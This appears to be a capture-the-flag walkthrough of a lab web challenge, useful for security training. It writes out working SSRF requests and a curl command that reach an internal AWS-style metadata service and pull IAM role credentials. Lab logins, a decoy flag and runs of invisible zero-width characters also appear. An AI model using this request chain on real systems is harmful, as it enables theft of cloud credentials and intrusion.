CloudPulse

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: credential_extraction, metadata_enumeration, ssrf_exploitation

Summary

Walkthrough of the CUSTOM Web CloudPulse. Task: authenticated CloudPulse dashboard exposed a webhook test feature that fetched attacker-supplied URLs from the server. Solution: abuse SSRF to enumerate an internal metadata service on 127.0.0.1

Challenge Metadata

• Event: hackadvisor
• Task: CloudPulse
• Category: web
• Target: https://99e6c2e5-ba6d-47a3-a684-747dbebc30b4.labs.hackadvisor.io
• Credentials: alex.m@nimbusops.io / password123

Brief Description

CloudPulse was an authenticated web challenge centered on a webhook testing feature. The application let the backend fetch arbitrary URLs and returned the full response, which turned the feature into an SSRF primitive and ultimately exposed internal AWS-style metadata credentials. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Recon / Observations

Before logging in, public pages and hidden HTML contained FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}. This was not the solution; it was a deliberate decoy flag meant to trap shallow automation or incomplete reconnaissance.

After authenticating with the provided credentials, the CloudPulse dashboard exposed an Integrations page. The important feature there was Test Webhook, which issued a request to:

 http read-only • copy allowed Copy
POST /api/integrations/test HTTP/1.1
Content-Type: application/json
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

{"url":"http://example.com"}

The response included fetched status, headers, and body. That behavior strongly suggested the server itself was making the outbound request.

Vulnerability Analysis

The vulnerable functionality was classic server-side request forgery (SSRF). Instead of validating destinations against an allowlist, the backend accepted an arbitrary url value, performed a server-side HTTP request, and reflected the remote response back to the user.

That immediately made localhost and internal-only services interesting targets. SSRF probing showed: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

• 127.0.0.1:8080 served the main CloudPulse app.
• 127.0.0.1:3001 exposed a separate internal plain-text HTTP service.

Most common paths on port 3001 returned 404 Not Found, so the next step was targeted enumeration for cloud metadata-style endpoints.

Exploitation Steps

1. Confirm SSRF with the webhook tester

Submit a crafted webhook test request:

 http read-only • copy allowed Copy
POST /api/integrations/test HTTP/1.1
Host: 99e6c2e5-ba6d-47a3-a684-747dbebc30b4.labs.hackadvisor.io
Content-Type: application/json
Cookie: connect.sid=...
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

{"url":"http://127.0.0.1:3001/"}

The application returned the internal response, confirming SSRF.

2. Enumerate the internal service

Requesting the AWS metadata root produced the breakthrough:

 http read-only • copy allowed Copy
POST /api/integrations/test HTTP/1.1
Content-Type: application/json

{"url":"http://127.0.0.1:3001/latest/meta-data/"}

This returned an AWS-style metadata directory listing. Further enumeration revealed:

• /latest/meta-data/iam/
• /latest/meta-data/iam/info
• /latest/meta-data/iam/security-credentials/
• role name: cloudpulse-monitoring-role ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

3. Retrieve the credential document

The final request was:

 http read-only • copy allowed Copy
POST /api/integrations/test HTTP/1.1
Content-Type: application/json

{"url":"http://127.0.0.1:3001/latest/meta-data/iam/security-credentials/cloudpulse-monitoring-role"}

Example curl request:

 bash read-only • copy allowed Copy
curl -s 'https://99e6c2e5-ba6d-47a3-a684-747dbebc30b4.labs.hackadvisor.io/api/integrations/test' \
  -H 'Content-Type: application/json' \
  -b cookies.txt \
  --data '{"url":"http://127.0.0.1:3001/latest/meta-data/iam/security-credentials/cloudpulse-monitoring-role"}'

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Flag Extraction

The response body contained temporary AWS credentials:

 json read-only • copy allowed Copy
{
  "Code": "Success",
  "LastUpdated": "2026-04-06T08:15:00Z",
  "Type": "AWS-HMAC",
  "AccessKeyId": "ASIAXNIMBUSOQR7PULSE",
  "SecretAccessKey": "FLAG{REDACTED}",
  "Token": "FwoGZXIvYXdzEJ3//////////wEaDHN0cy1hc3N1bWUtcm9sZSIkMGRiNDM5ZGItNzI1MC00NjFjLWE1NGItYjg5NTRlYTUzMzRm",
  "Expiration": "2026-04-06T14:30:00Z"
}

The real flag was the value of SecretAccessKey:

 text read-only • copy allowed Copy
FLAG{REDACTED}

Lessons Learned / Defensive Notes

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

• Webhook and URL fetch features must use strict destination allowlists.
• Backend services should block access to 127.0.0.0/8, RFC1918 ranges, and metadata endpoints.
• Cloud metadata services should be isolated or require hardened access controls.
• Returning raw response bodies from server-side fetchers makes SSRF far more dangerous.
• Decoy flags can appear in source or hidden HTML; always validate the full exploitation path before concluding a solve. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

• Mastering credential_extraction, metadata_enumeration, ssrf_exploitation was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-04-06 • CUSTOM • CloudPulse • Difficulty: Easy